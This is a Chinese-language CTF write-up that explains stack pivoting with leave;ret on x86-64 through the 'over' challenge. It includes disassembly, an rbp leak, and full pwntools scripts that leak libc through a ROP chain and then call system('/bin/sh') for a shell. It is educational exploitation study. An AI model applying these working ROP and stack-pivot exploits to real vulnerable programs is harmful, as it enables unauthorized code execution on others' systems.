Pwn 栈迁移 in x86

通过栈溢出向 bp 之上的地方构造 ROP 链, 可以达到控制程序流的效果. 但是如果需要的 ROP 链比较长, 而溢出的大小又不足以构造 ROP 链, 那么这时就必须想其他办法了.

根据 ROP 的方法, 我们可以通过覆盖 old bp 去控制 bp 指向的位置. 如果可以再控制 sp 的位置, 比如有 pop sp 这种 gadget, 那么实际上就可以伪造一个栈, 或者说, 栈迁移.

一般来说, 迁移的位置需要有可读可写权限. 比如 .bss 节就是一个很好的目标位置. 或者在覆盖 buf 的时候, 可能会 “浪费” 很多空间, 也可以尝试把栈迁移到 buf 数组所在的栈上.

可能程序没有 pop sp, 但是程序一定有 leave. leave 可以达到栈迁移的效果. leave 可以分成两步, 即 mov sp bp; pop bp. 由于可以通过覆盖控制 bp, 那么把返回地址覆盖为 mov sp bp (leave; ret) 所在地址, 这样 sp 就可以控制了. 由于 leave 又会 pop bp, 所以只需要在 迁移到的 sp 上 布置一个 fake bp, 这样 pop bp 的时候就可以控制 bp 了. 总的来说, 就是可以通过覆盖返回地址为 leave; ret 达到同时控制 bp, sp, ip 的目的. 而这仅需要 8 或 16 个字节的溢出即可.

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-over

rizin iI, 64 位 ELF, 没开 PIE 和 canary. aaa;afl, 函数没名字… 看 main, s main; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
undefined8 main(int argc, char **argv)
{
    int32_t iVar1;
    undefined8 in_R8;
    undefined8 in_R9;
    char **var_10h;
    int var_4h;
    
    sym.imp.setvbuf(_reloc.stdin, 0, 2, 0, in_R8, in_R9, argv);
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    do {
        iVar1 = fcn.00400676();
    } while (iVar1 != 0);
    return 0;
}

发现调用 fcn.00400676, s fcn.00400676; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void fcn.00400676(void)
{
    int64_t iVar1;
    char **ppcVar2;
    char *buf;
    
    ppcVar2 = &buf;
    for (iVar1 = 10; iVar1 != 0; iVar1 = iVar1 + -1) {
        *ppcVar2 = (char *)0x0;
        ppcVar2 = ppcVar2 + 1;
    }
    sym.imp.putchar(0x3e);
    sym.imp.read(0, &buf, 0x60);
    sym.imp.puts(&buf);
    return;
}

有读入函数 read, 同时发现没有返回值. pdf 检查 buf 大小, 同时查看 rax:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
            ; CALL XREF from main @ 0x400710
┌ fcn.00400676 ();
│           ; var const char *buf @ rbp-0x50
│           0x00400676      push  rbp
│           0x00400677      mov   rbp, rsp
│           0x0040067a      sub   rsp, 0x50
│           0x0040067e      lea   rdx, [buf]
│           0x00400682      mov   eax, 0
│           0x00400687      mov   ecx, 0xa
│           0x0040068c      mov   rdi, rdx
│           0x0040068f      rep   stosq qword [rdi], rax
│           0x00400692      mov   edi, 0x3e                            ; '>' ; 62 ; int c
│           0x00400697      call  sym.imp.putchar                      ; int putchar(int c)
│           0x0040069c      lea   rax, [buf]
│           0x004006a0      mov   edx, 0x60                            ; '`' ; 96 ; size_t nbyte
│           0x004006a5      mov   rsi, rax                             ; void *buf
│           0x004006a8      mov   edi, 0                               ; int fildes
│           0x004006ad      call  sym.imp.read                         ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x004006b2      lea   rax, [buf]
│           0x004006b6      mov   rdi, rax                             ; const char *s
│           0x004006b9      call  sym.imp.puts                         ; int puts(const char *s)
│           0x004006be      leave
└           0x004006bf      ret

发现有 0x10 个字节溢出, 而 rax 的值是 buf 的地址, 也就是非 0. 所以 main 中相当于一直执行这个函数.

提示
函数返回值由 rax 传递

第 8 行开始的那个 for 应该是在清空 buf. 调试一下确实是这样.

没有找到后门函数, 也没有 /bin/sh 等字符串, 所以需要泄漏 libc, 然后执行 libc 中的 system("/bin/sh"). 而溢出只有 0x10 个字节, 也就刚好能覆盖 rbp 和返回地址, 并不能很好的构造泄漏 libc 地址的 ROP. 所以需要栈迁移. 这里可以迁移到 buf 所在的位置, 因为向 buf 中写入数据非常简单, 只需要构造 payload 给它读入就行.

read 完了以后, 有一个 puts. 由于 read 不会给读入最后补上 \0, 而我们可以通过 iI 查看信息知道, 程序使用小端序, 这就说明了, 栈上 rbp 的地址如果是 0x00007f0123456789, 那么实际上存的时候是 89 67 45 23 01 7f 00 00 这样的. 把 buf 填满, 然后 puts 的时候就可以把栈上的 old rbp 输出了.

知识
64 位下, 用户态所使用的地址是 0x0000000000000000 - 0x0000ffffffffffff, libc 映射的地址和程序栈的地址以 0x00007f 开头.

这样我们就可以知道 main 函数的 rbp 了. 看一下 main 函数的汇编 s main; pdf:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
            ; DATA XREF from entry0 @ 0x40059d
┌ int main (int argc, char **argv, char **envp);
│           ; var char **var_10h @ rbp-0x10
│           ; var int var_4h @ rbp-0x4
│           ; arg int argc @ rdi
│           ; arg char **argv @ rsi
│           0x004006c0      push  rbp
│           0x004006c1      mov   rbp, rsp
│           0x004006c4      sub   rsp, 0x10
│           0x004006c8      mov   dword [var_4h], edi                  ; argc
│           0x004006cb      mov   qword [var_10h], rsi                 ; argv
│           0x004006cf      mov   rax, qword [obj.stdin]               ; [0x601060:8]=0
│           0x004006d6      mov   ecx, 0                               ; size_t size
│           0x004006db      mov   edx, 2                               ; int mode
│           0x004006e0      mov   esi, 0                               ; char *buf
│           0x004006e5      mov   rdi, rax                             ; FILE *stream
│           0x004006e8      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
│           0x004006ed      mov   rax, qword [obj.stdout]              ; [0x601050:8]=0
│           0x004006f4      mov   ecx, 0                               ; size_t size
│           0x004006f9      mov   edx, 2                               ; int mode
│           0x004006fe      mov   esi, 0                               ; char *buf
│           0x00400703      mov   rdi, rax                             ; FILE *stream
│           0x00400706      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
│           ; CODE XREF from main @ 0x400719
│       ┌─> 0x0040070b      mov   eax, 0
│       ╎   0x00400710      call  fcn.00400676
│       ╎   0x00400715      test  eax, eax
│      ┌──< 0x00400717      je    0x40071b
│      │└─< 0x00400719      jmp   0x40070b
│      └──> 0x0040071b      nop
│           0x0040071c      mov   eax, 0
│           0x00400721      leave
└           0x00400722      ret

sub rsp 0x10, 再加上调用 fcn.00400676 函数所压进去的返回地址和 old rbp 的 0x10 个字节, 一共 -0x20 个字节就可以得到 fcn.00400676 函数的 rbp 了. 然后回到 fcn.00400676 函数的汇编, 得知此刻的 rsp 应该再 -0x50.

这个函数结束以后又会被 main 调用, 而因为栈的特点, 每次进入 fcn.00400676 函数后, rsp 和 rbp 的值都是一样的. 这样我们就知道了 buf 在栈上的地址了.

第二次调用, 我们直接在 buf 上布置 ROP, 然后覆盖 old rbp 到 buf 所在地址, 覆盖返回地址为 leave; ret, 就可以把栈迁移过去, 并执行 ROP 链控制的程序流了. 要泄漏 libc, 需要打印 got 表. 已经在之前的文章说过了, 不再赘述. 注意 leave 过去了, buf 上先要布置 fake rbp, 才是返回地址, 构造 puts(sym.imp.fun) 的 ROP 链, 打印出 libc 符号的实际地址, 去查到 libc 版本, 得到 system 和 str_bin_sh 的基地址.

exp_leak_libc 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

sh = process('./over.over')
elf = ELF('./over.over')

buf_size = 0x50

payload_leak_main_rbp = b'a' * buf_size

sh.recvuntil(b'>')
sh.send(payload_leak_main_rbp)
main_rbp = u64(sh.recvline()[-7:-1].ljust(8, b'\x00')) # recvline() 会读取到一个 \n, 所以从取 -7 到 -1 这 6 个字符.
print(f'main_rbp = {hex(main_rbp)}')

vuln_rbp = main_rbp - 0x10 - 0x10
stack_buf_start = vuln_rbp - buf_size
print(f'stack_buf_start = {hex(stack_buf_start)}')

pop_rdi_ret = 0x00400793
ret = 0x004007a0
plt_puts = elf.plt['puts']
got_fun = elf.got['puts']   # 更改为其他已经调用过的库函数, 获得更多地址
leave_ret = 0x00400721
sym_vuln = 0x00400676

payload_leak_libc = p64(main_rbp) + p64(pop_rdi_ret) + p64(got_fun) + p64(plt_puts) + p64(sym_vuln)
payload_leak_libc = payload_leak_libc.ljust(buf_size, b'a')
payload_leak_libc += p64(stack_buf_start) + p64(leave_ret)

sh.recvuntil(b'>')
sh.send(payload_leak_libc)
sh.recvline()

addr_fun = u64(sh.recvline()[:6].ljust(8, b'\x00'))
print(hex(addr_fun))

查到 libc 版本后并得到一些符号的地址:

1
2
3
libc_puts = 0x84450
libc_system = 0x522c0
libc_str_bin_sh = 0x1b45bd

之后在原来的代码上继续构造. 上面代码的第 26 行, 构造的 ROP 链是调用 puts 后跳回到 fcn.00400676 函数, 这样就可以继续利用漏洞了. 同时为了方便, 把 fake rbp 的值设为了 main 函数的 rbp, 这样 rbp 就和正常调用 fcn.00400676 时的一致了 (虽然没啥影响). 但是, rsp 的值还需要再算一下. 看一下上面构造的 payload, 从 buf 开始, 先 pop 了 fake rbp, 又 pop 了 rip (ret), 然后 pop rdi; ret, 最后调用了 puts, 到最后 ret, 才到了 fcn.00400676 函数. 此时已经经过了 5 个 pop, 于是 rsp 地址需要 +5 * 0x08. 进入函数后, 会 push rbp, 然后再在栈上开辟 0x50 的空间. 所以, 这一次的 rsp 的位置相对变化应该是 + 5 * 0x08 - 0x08 - 0x50.

于是接着这样写:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
addr_puts = addr_fun

libc_puts = 0x84450
libc_system = 0x522c0
libc_str_bin_sh = 0x1b45bd
libc_base = addr_puts - libc_puts
addr_system =libc_system + libc_base
addr_str_bin_sh = libc_str_bin_sh + libc_base

payload_get_shell = p64(main_rbp) + p64(ret) + p64(pop_rdi_ret) + p64(addr_str_bin_sh) + p64(addr_system) + p64(sym_vuln)
payload_get_shell = payload_get_shell.ljust(buf_size, b'a')
payload_get_shell += p64(stack_buf_start + 4 * 0x08 - buf_size) + p64(leave_ret)
sh.recvuntil(b'>')
sh.send(payload_get_shell)
sh.interactive()

注意 64 位要栈对齐, 和之前一样, 如果打不通的话, 加一个 ret 即可. 如上面代码第 10 行.

我是不会承认我打了一个晚上 + 一个早上都打不通才想起来这回事的. 有趣的是我尝试直接把 ROP 链最后写成 call fcn.00400676 的地址, 然后因为压入了 rip 导致栈上的地址又对齐了…